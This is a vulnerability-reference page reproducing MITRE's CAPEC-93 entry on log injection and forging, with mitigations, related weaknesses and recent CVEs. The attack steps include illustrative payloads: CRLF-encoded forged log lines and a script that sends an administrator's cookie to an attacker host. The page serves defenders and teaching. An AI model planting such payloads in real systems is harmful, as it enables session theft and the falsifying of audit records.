cve.bz

CAPEC-93

Log Injection-Tampering-Forging

High severityHigh likelihoodDetailed pattern

This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.

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Show the promptExplain the attack pattern CAPEC-93: Log Injection-Tampering-Forging: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/93.html and https://cve.bz/cve/capec/93?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.

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How the attack unfolds

  1. Explore

    The attacker looks for a way in.

    1. [Determine Application's Log File Format] The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.

      3 techniques
      • Determine logging utility being used by application (e.g. log4j)
      • Gain access to application's source code to determine log file formats.
      • Install or obtain access to instance of application and observe its log file format.

  2. Exploit

    They carry out the attack.

    1. [Manipulate Log Files] The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.

      2 techniques
      • Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: "%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in" may add the following forged entry into a log file: "[Thu Nov 12 12:11:22]:Info: User admin logged in" Different applications may require different encodings of the carriage return and line feed characters.
      • Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain <script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script> The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).

Prerequisites

  • The target host is logging the action and data of the user.

  • The target host insufficiently protects access to the logs or logging mechanisms.

Skills required

  • Low skill

    This attack can be as simple as adding extra characters to the logged data (e.g. username). Adding entries is typically easier than removing entries.

  • Medium skill

    A more sophisticated attack can try to defeat the input validation mechanism.

Consequences

What a successful attack can lead to
ImpactAffectsNote
Modify DataIntegrity

Mitigations

  • Carefully control access to physical log files.

  • Do not allow tainted data to be written in the log file without prior input validation. An allowlist may be used to properly validate the data.

  • Use synchronization to control the flow of execution.

  • Use static analysis tools to identify log forging vulnerabilities.

  • Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.

Weaknesses it exploits

  • CWE-75 Failure to Sanitize Special Elements into a Different Plane
  • CWE-117 Improper Output Neutralization for Logs
  • CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences

Recent CVEs with these weaknesses

  1. 6.5CVE-2026-63287

    It was possible for an authenticated non-admin user to modify certain data objects without having the appropriate permissions, which could be used to tamper with audit log creation in AXIS Camera Station.

  2. 4.8CVE-2026-124992

    A vulnerability was identified in nushell up to 0.116.1. Impacted is the function escape_bytes of the file crates/nu-json/src/ser.rs of the component Data Conversion Handler. The manipulation leads to improper neutralization of escape, met…

  3. 5.3CVE-2026-123369

    compose-lint is a Docker Compose security linter that identifies dangerous misconfigurations before deployment. Prior to 0.31.0, compose-lint prints attacker-controlled service names, environment keys, file lines, and other Compose text wi…

  4. 5.0CVE-2026-17377

    IBM API Connect 10.0.8.0 through 10.0.8.12 and 12.1.0.0 through 12.1.1.2 could allow a remote authenticated attacker to forge audit records due to improper output neutralization for logs.

  5. 5.3CVE-2026-123847

    In JetBrains IntelliJ IDEA before 2026.3 command execution was possible via control characters in terminal command completion

  6. –CVE-2026-103864

    Improper output neutralization for logs in Apache Sling Engine. This issue affects Apache Sling Engine: before 3.0.4. Users are recommended to upgrade to version 3.0.4, which fixes the issue.

  7. 5.3CVE-2026-95769

    An audit log spoofing vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to falsify the client address recorded in audit records.

  8. 1.0CVE-2026-121547

    Canop dysk before 3.8.2 contains a terminal escape sequence injection vulnerability that allows local users to inject control sequences by crafting mount metadata rendered unsanitized in table and CSV output. Attackers can create FUSE moun…

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Part of
Can lead to

Examples

Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier version…

Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. See also: CVE-2006-0201

If a user submits the string "twenty-one" for val, the following entry is logged:

If a user submits the string "twenty-one" for val, the following entry is logged:

INFO: Failed to parse val=twenty-one

However, if an attacker submits the string

twenty-one%0a%0aINFO:+User+logged+out%3dbadguy

the following entry is logged:

INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

MITRE's words, unchanged: CAPEC-93 at MITRE. CAPEC is Copyright © 2007–2026, The MITRE Corporation, used under the CAPEC terms of use: “The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Common Attack Pattern Enumeration and Classification (CAPEC™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy.” CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Credits. All attack patterns.